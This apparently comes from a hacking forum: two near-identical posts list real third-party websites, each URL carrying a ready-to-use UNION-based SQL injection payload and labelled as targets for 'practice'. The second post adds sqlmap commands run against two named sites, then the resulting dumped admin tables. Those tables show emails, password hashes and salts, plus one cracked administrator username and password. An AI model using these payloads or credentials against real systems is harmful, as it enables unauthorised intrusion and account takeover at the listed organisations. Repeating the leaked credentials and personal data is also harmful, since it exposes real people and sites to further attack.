[Free] Vulnerable links to SQLi, good for practicing..

[Deadware]

Sharing some links which are vulnerable to SQL Injection. This can bee useful to practice Injections, or to test some tools.

https://www.studentstutorial.com/demo/php/rating?id=999999.9 union all select 1,[t],3,4,5,6,7,8,9,10
https://www.ifar.org/artist_book_detail.php?bookid=3154&nameid=[t]
http://heritageaviation.in/news.php?id=1' union all select 1,2,3,4,5,[t],7,8,9,10,11 and '1'='1
http://www.kateelliott.com/index.php?pageID=[t]
https://teamaxadventure.com/modules/bbs/bbsView.php?code=bbs_picture_en&bbs_id=2&id=[t]
http://www.tiumcafe.net/modules/bbs/bbsView.php?id=[t]&page=1&&code=bbs_reserv&view_type=&keyword=
http://www.imcconcerts.com/tour.php?id=999999.9 union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13,14,15,16,17
http://math4all.in/news.php?id=' union all select 1,[t],3,4,5,6 and '1'='1
http://kansascitynova.org/news.php?id=4' union all select 1,[t],3,4,5,6,7 and '1'='1
http://www.stencilboard.at/gallerysort.php?iid=999999.9 union all select 1,[t],3,4,5,6&page=2&sid=2
https://www.copalpublishing.com/book-detail.php?id=999999.9' union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 and '1'='1
http://copalpublishing.com/book-detail.php?id=999999.9' union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 and '1'='1
http://youtakecare.com/cmspage.php?page_id=999999.9 union all select 1,[t],3
http://www.meggieschneider.com/php/detail.php?id=999999.9 union all select [t],2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
http://www.koracing.net/viewproduct.php?folder=5&product=999999.9 union all select 1,2,3,4,[t],6,7,8,9,10,11,12,13
http://www.embryohotel.com/room-detail.php?id=999999.9 union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13
http://www.pocolpress.com/getBookDetail.php?bookID=' union all select 1,2,3,[t],5,6,7,8,9,10,11 and '1'='1
http://konstar.com.hk/product_list.php?id=63127' and [t] and '1'='1

 

[Prokhorenco]

Sharing some links which are vulnerable to SQL Injection. This can bee useful to practice Injections, or to test some tools.

https://www.studentstutorial.com/demo/php/rating?id=999999.9 union all select 1,[t],3,4,5,6,7,8,9,10
https://www.ifar.org/artist_book_detail.php?bookid=3154&nameid=[t]
http://heritageaviation.in/news.php?id=1' union all select 1,2,3,4,5,[t],7,8,9,10,11 and '1'='1
http://www.kateelliott.com/index.php?pageID=[t]
https://teamaxadventure.com/modules/bbs/bbsView.php?code=bbs_picture_en&bbs_id=2&id=[t]
http://www.tiumcafe.net/modules/bbs/bbsView.php?id=[t]&page=1&&code=bbs_reserv&view_type=&keyword=
http://www.imcconcerts.com/tour.php?id=999999.9 union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13,14,15,16,17
http://math4all.in/news.php?id=' union all select 1,[t],3,4,5,6 and '1'='1
http://kansascitynova.org/news.php?id=4' union all select 1,[t],3,4,5,6,7 and '1'='1
http://www.stencilboard.at/gallerysort.php?iid=999999.9 union all select 1,[t],3,4,5,6&page=2&sid=2
https://www.copalpublishing.com/book-detail.php?id=999999.9' union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 and '1'='1
http://copalpublishing.com/book-detail.php?id=999999.9' union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 and '1'='1
http://youtakecare.com/cmspage.php?page_id=999999.9 union all select 1,[t],3
http://www.meggieschneider.com/php/detail.php?id=999999.9 union all select [t],2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
http://www.koracing.net/viewproduct.php?folder=5&product=999999.9 union all select 1,2,3,4,[t],6,7,8,9,10,11,12,13
http://www.embryohotel.com/room-detail.php?id=999999.9 union all select 1,2,[t],4,5,6,7,8,9,10,11,12,13
http://www.pocolpress.com/getBookDetail.php?bookID=' union all select 1,2,3,[t],5,6,7,8,9,10,11 and '1'='1
http://konstar.com.hk/product_list.php?id=63127' and [t] and '1'='1

python3 sqlmap.py -u "http://heritageaviation.in/news.php?id=1" --random-agent -D heritage02017 -T tbladmin --dump

Database: heritage02017
Table: tbladmin
[1 entry]
+----+------+----------------------------------------------------------------------------------------------------------------------------------+---------------------------------+---------------------------------------------+--------+--------+------------+------------------------------------+-------------+-----------+-------------+
| id | name | salt                                                                                                                             | email                           | image                                       | active | gender | passchg    | password                           | username    | passreset | login_count |
+----+------+----------------------------------------------------------------------------------------------------------------------------------+---------------------------------+---------------------------------------------+--------+--------+------------+------------------------------------+-------------+-----------+-------------+
| 1  | HAPL | 28812e4a1466b3e89f6d9082c8722dcf5c7a37b6b1eb55c8e2154321ff8ce4340ca36f844a1736ebff2dd3437651b16815f58873581501fcf68c9498025a8c7b | reservation@heritageaviation.in | data/images/1486380838_cock_721951_1920.jpg | 1      | Male   | 1678797336 | $H$Bg6ldf9E5VTUG7YB1mnDKrh188EasI. | herit_admin | 0         | 943         |
+----+------+----------------------------------------------------------------------------------------------------------------------------------+---------------------------------+---------------------------------------------+--------+--------+------------+------------------------------------+-------------+-----------+-------------+

python3 sqlmap.py -u "https://www.copalpublishing.com/book-detail.php?id=999999.9" --random-agent -D copalpublishing_copal --tables -T tbl_admin --dump

Database: copalpublishing_copal
Table: tbl_admin
[1 entry]
+----+---------------+--------------------------+--------+----------------------------------+----------+
| id | type          | email                    | status | password                         | username |
+----+---------------+--------------------------+--------+----------------------------------+----------+
| 1  | Administrator | info@copalpublishing.com | 1      | 8d53b89cc0927ecae95a6a36dd04e377 | copal    |
+----+---------------+--------------------------+--------+----------------------------------+----------+
copal:copalp@$$w0rd